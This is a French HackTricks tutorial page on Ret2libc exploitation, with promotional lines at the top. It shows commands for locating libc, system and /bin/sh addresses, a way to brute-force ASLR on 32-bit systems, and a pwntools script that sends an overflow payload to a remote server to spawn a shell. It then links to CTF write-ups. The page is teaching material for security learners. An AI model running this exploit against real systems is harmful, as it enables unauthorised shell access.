Ret2lib

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

• Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT !

• Obtenez le swag officiel PEASS & HackTricks

• Découvrez La famille PEASS, notre collection exclusive de NFTs

• Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.

• Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.

Informations de base

L'essence de Ret2Libc est de rediriger le flux d'exécution d'un programme vulnérable vers une fonction d'une bibliothèque partagée (par exemple, system, execve, strcpy) au lieu d'exécuter un shellcode fourni par l'attaquant sur la pile. L'attaquant crée une charge utile qui modifie l'adresse de retour sur la pile pour pointer vers la fonction de bibliothèque souhaitée, tout en veillant à ce que les arguments nécessaires soient correctement configurés selon la convention d'appel.

Étapes d'exemple (simplifiées)

• Obtenir l'adresse de la fonction à appeler (par exemple, system) et la commande à appeler (par exemple, /bin/sh)

• Générer une chaîne ROP pour passer le premier argument pointant vers la chaîne de commande et le flux d'exécution vers la fonction

Trouver les adresses

• En supposant que la libc utilisée est celle de la machine actuelle, vous pouvez trouver où elle sera chargée en mémoire avec :

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Si vous voulez vérifier si l'ASLR change l'adresse de la libc, vous pouvez le faire :

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done

• En connaissant la libc utilisée, il est également possible de trouver le décalage de la fonction system avec :

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

• En connaissant la libc utilisée, il est également possible de trouver le décalage de la fonction de la chaîne /bin/sh avec :

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Utilisation de gdb-peda / GEF

En connaissant la libc utilisée, il est également possible d'utiliser Peda ou GEF pour obtenir l'adresse de la fonction system, de la fonction exit et de la chaîne /bin/sh :

p system
p exit
find "/bin/sh"

Utilisation de /proc/<PID>/maps

Si le processus crée des enfants à chaque fois que vous communiquez avec lui (serveur réseau), essayez de lire ce fichier (vous devrez probablement être root).

Ici, vous pouvez trouver exactement où la libc est chargée à l'intérieur du processus et où elle va être chargée pour chaque enfant du processus.

Dans ce cas, elle est chargée à 0xb75dc000 (ce sera l'adresse de base de la libc)

Libc inconnue

Il est possible que vous ne connaissiez pas la libc chargée par le binaire (car elle pourrait être située sur un serveur auquel vous n'avez pas accès). Dans ce cas, vous pourriez exploiter la vulnérabilité pour dévoiler certaines adresses et trouver quelle bibliothèque libc est utilisée :

pageLeaking libc address with ROP

Et vous pouvez trouver un modèle pwntools pour cela dans :

pageLeaking libc - template

Contourner l'ASLR en 32 bits

Ces attaques par force brute sont uniquement utiles pour les systèmes 32 bits.

• Si l'exploit est local, vous pouvez essayer de forcer la base de la libc (utile pour les systèmes 32 bits) :

for off in range(0xb7000000, 0xb8000000, 0x1000):

• Lors de l'attaque d'un serveur distant, vous pourriez essayer de forcer l'adresse de la fonction usleep de la libc, en passant 10 comme argument. Si à un moment donné le serveur met 10 secondes supplémentaires à répondre, vous avez trouvé l'adresse de cette fonction.

One Gadget

pageOne Gadget

Exemple de code x86 Ret2lib

Dans cet exemple, le brute-force ASLR est intégré dans le code et le binaire vulnérable est situé sur un serveur distant:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

Exemple de code x64 Ret2lib

Consultez l'exemple à partir de :

pageROP - Return Oriented Programing

Ret-into-printf (ou puts)

Cela permet de fuir des informations du processus en appelant printf/puts avec des données spécifiques placées en tant qu'argument.

Ret2printf

Cela signifie essentiellement abuser d'un Ret2lib pour le transformer en une vulnérabilité de chaînes de format printf en utilisant le ret2lib pour appeler printf avec les valeurs à exploiter (semble inutile mais possible) :

pageFormat Strings

Autres exemples et références

• https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

• Ret2lib, en donnant une fuite à l'adresse d'une fonction dans libc, en utilisant un gadget unique

• https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

• 64 bits, ASLR activé mais pas de PIE, la première étape est de remplir un dépassement jusqu'au byte 0x00 du canary pour ensuite appeler puts et le fuir. Avec le canary, un gadget ROP est créé pour appeler puts et fuir l'adresse de puts du GOT, puis un gadget ROP pour appeler system('/bin/sh')

• https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html

• 64 bits, ASLR activé, pas de canary, débordement de pile dans main à partir d'une fonction enfant. Gadget ROP pour appeler puts et fuir l'adresse de puts du GOT, puis appeler un gadget unique.

• https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html

• 64 bits, pas de PIE, pas de canary, pas de relro, nx. Utilise la fonction write pour fuir l'adresse de write (libc) et appelle un gadget unique.